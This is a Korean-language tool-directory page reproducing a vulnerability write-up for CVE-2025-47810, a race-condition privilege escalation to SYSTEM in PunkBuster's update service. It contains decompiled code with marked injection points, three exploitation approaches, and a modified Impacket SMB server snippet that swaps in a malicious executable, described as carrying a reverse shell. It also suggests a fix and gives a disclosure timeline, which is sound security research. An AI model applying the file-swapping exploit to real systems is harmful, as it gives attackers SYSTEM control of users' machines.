Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-47810 — PunkBuster LPI에서 NT AUTHORITY\SYSTEM으로 | Kitploit
도구/GitHubGitHub/ptrstr/cve-2025-47810
Privilege EscalationVulnerability AnalysisExploitationLateral MovementBinary Analysis
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI에서 NT AUTHORITY\SYSTEM으로

저장소 보기
211개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PunkBuster LPI (CVE-2025-47810)

Screenshot

배경

PunkBuster는 두 개의 서비스와 선택적 커널 드라이버로 설치됩니다.

  • PnkBstrA: 백그라운드에서 지속적으로 실행되며 PunkBuster 전체를 관리하는 서비스
  • PnkBstrB: 보호되는 게임이 시작될 때 시작되는 서비스. A보다 더 많은 기능을 제공합니다.

두 서비스는 비슷한 구조로, localhost의 UDP 포트 범위 [44301, 44400]에서 수신 대기합니다. 포트를 찾으면 HKLM:\SOFTWARE\Even Balance\PnkBstrA 또는 HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA의 Port 값에 기록됩니다.

각 요청은 1500바이트 길이의 전역 버퍼에 저장됩니다(단, NUL 종결자를 위해 1499바이트만 수신됩니다).

요청 데이터에는 표준 구조가 없지만, 일반적인 구조는 다음과 같습니다:

  • 첫 번째 바이트(보통 문자)는 호출할 기능을 나타냅니다.
  • 기능에 대한 인수이며, 여러 개가 필요한 경우 보통 공백으로 구분됩니다.

PnkBstrA의 요청 유형은 다음과 같습니다:

  • l: 로드: PnkBstrB를 시작하고 업데이트합니다.
    • 업데이트된 PnkBstrB 실행 파일 경로를 (선택적) 인수로 받습니다.
  • u: 언로드: PnkBstrB를 중지합니다.
  • v: 버전: 단순히 버전을 반환합니다.
  • m: 모니터: PID를 받아 프로세스에 PunkBuster 클라이언트 DLL(pbcl.dll)이 있는지 확인하고, 있으면 메모리를 덤프합니다.

취약점

로드 핸들러(l)에는 TOCTOU 스타일의 취약점이 존재하여 NT AUTHORITY\SYSTEM으로의 로컬 권한 상승(LPE)으로 이어집니다.

핸들러의 흐름은 다음과 같습니다:

  1. PnkBstrB 서비스를 삭제합니다.
  2. 인수에 있는 파일의 MD5를 계산합니다(인수가 있는 경우).
  3. 인수에 있는 실행 파일의 Authenticode 및 인증서를 검증합니다(있는 경우).
    • 다른 검사 중에서도 인증서의 주체가 Even Balance, Inc.인지 확인합니다.
  4. 파일에 대한 핸들을 유지하지 않은 상태에서 750ms에서 2.25s 사이로 대기하며, 인수 파일을 플랫폼에 따라 C:\Windows\SysWOW64\PnkBstrB.exe 또는 C:\Windows\System32\PnkBstrB.exe로 복사하려 시도합니다.
  5. 시스템 디렉터리에 복사된 파일의 MD5를 계산합니다.
  6. 두 MD5 해시가 일치하는지 확인합니다.
    • 일치하면 새로 복사된 파일로 PnkBstrB 서비스를 LocalSystem으로 생성 및 시작합니다.

문제는 PnkBstrA가 조작하는 파일이 각 작업마다 여러 번 다시 열리므로, 공격자가 작업 사이에 파일을 수정할 수 있는 상황이 발생한다는 점입니다.

이로 인해 파일의 인증서가 검증된 후 파일이 교체되어 악성 파일이 PnkBstrB 서비스의 실행 파일로 사용될 수 있습니다. 이 실행 파일을 통해 권한이 없는 사용자가 NT AUTHORITY\SYSTEM으로 권한 상승할 수 있습니다.

관련 역컴파일 코드는 다음과 같습니다:

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // 첫 번째 MD5 계산
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // 인증서 확인
    certificateFilePointer = fopen(updateFileName, "rb"); // 성공해야 함. 그렇지 않으면 이후 검사 실패
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // 복사할 경로 생성
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // 이전에 파일을 열었는지 확인
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // 두 번째 MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

간단한 수정 방법은 먼저 파일을 안전한 임시 위치(예: PnkBstrB.exe.tmp)로 복사한 후 MD5 및 검사를 수행하는 것입니다. 이렇게 하면 악성 행위자가 파일을 편집할 수 없습니다. 또한 파일의 단일 복사본이 열리므로 SMB 악용을 방지할 수 있습니다.

익스플로잇

접근 방식 1

공격 시나리오는 악성 파일을 제공하고, MD5가 계산될 때까지 기다린 후 파일을 원본 PnkBstrB.exe로 교체하여 WinVerifyTrust 및 인증서 검사를 통과시키고, 다시 악성 파일로 교체하여 두 번째 MD5를 통과시키고 파일이 복사 및 실행되도록 하는 것입니다.

그러나 이 시나리오는 실행하기가 매우 어렵습니다. 파일을 교체하는 것이 까다롭고, PnkBstrA가 파일을 열고 있는 동안 수정해도 변경 사항이 적용되지 않는 것으로 보이기 때문입니다. 코드에서 볼 수 있듯이 INJECTION POINT 1에서 코드를 예약하는 것이 어렵기 때문입니다. 여러 시간이 중요한 우선순위 스레드(일부는 지속적으로 파일을 교체하려고 시도하고, 다른 스레드는 동시 코어를 바쁜 대기로 차단)를 사용하면 가능할 수 있습니다.

접근 방식 2

또 다른 접근 방식은 PnkBstrB와 악성 파일 간의 MD5 충돌을 유발하는 것입니다. 먼저 합법적인 파일을 첫 번째 MD5의 후보로 사용하고 인증서를 확인합니다. 그러나 그 후 750ms 이상의 충분한 시간이 있으므로 파일을 우리의 파일로 교체할 수 있습니다. 그러면 두 번째 MD5가 통과되어 파일이 주입됩니다. 그러나 개발 중에는 충돌 생성을 기다리기 귀찮아서 다른 접근 방식을 선택했습니다.

접근 방식 3

이 코드는 Windows에 의존하며, Windows 자체 I/O 함수에 매핑되는 fopen을 사용합니다. 정의상 SMB 공유에 접근할 수 있음을 의미합니다. 또한 MSDN에서는 이 동작이 지원된다고 언급합니다:

fopen은 코드를 실행하는 시스템이 실행 시 공유 또는 매핑된 드라이브에 액세스할 수 있는 한 UNC 경로 및 매핑된 네트워크 드라이브와 관련된 경로를 허용합니다.

즉, 첫 번째 접근 방식을 사용할 수 있지만 코드가 SMB 공유에 의존하므로 파일이 요청된 횟수에 따라 다른 파일을 보냅니다.

Impacket의 smbserver를 수정하여 이 동작을 얻을 수 있습니다. 전체 .patch 파일은 여기에서 찾을 수 있습니다. 주요 변경 사항은 다음과 같습니다:

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

보시다시피, 파일을 처음 열 때(첫 번째 MD5) 또는 최소 8번째 열 때(파일 복사 이후) 클라이언트에 악성 파일을 보내고, 그 외의 경우에는 원본 파일을 보냅니다.

악성 파일의 코드는 여기에서 찾을 수 있으며, 간단한 hello world 서비스에 리버스 셸이 포함되어 있습니다.

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

공개

EvenBalance에는 2025-02-15 이후 여러 번 다양한 방법으로 연락했지만 응답이 없었습니다.

이 문제는 2025-05-10에 완전히 공개되었습니다.

도구 다운로드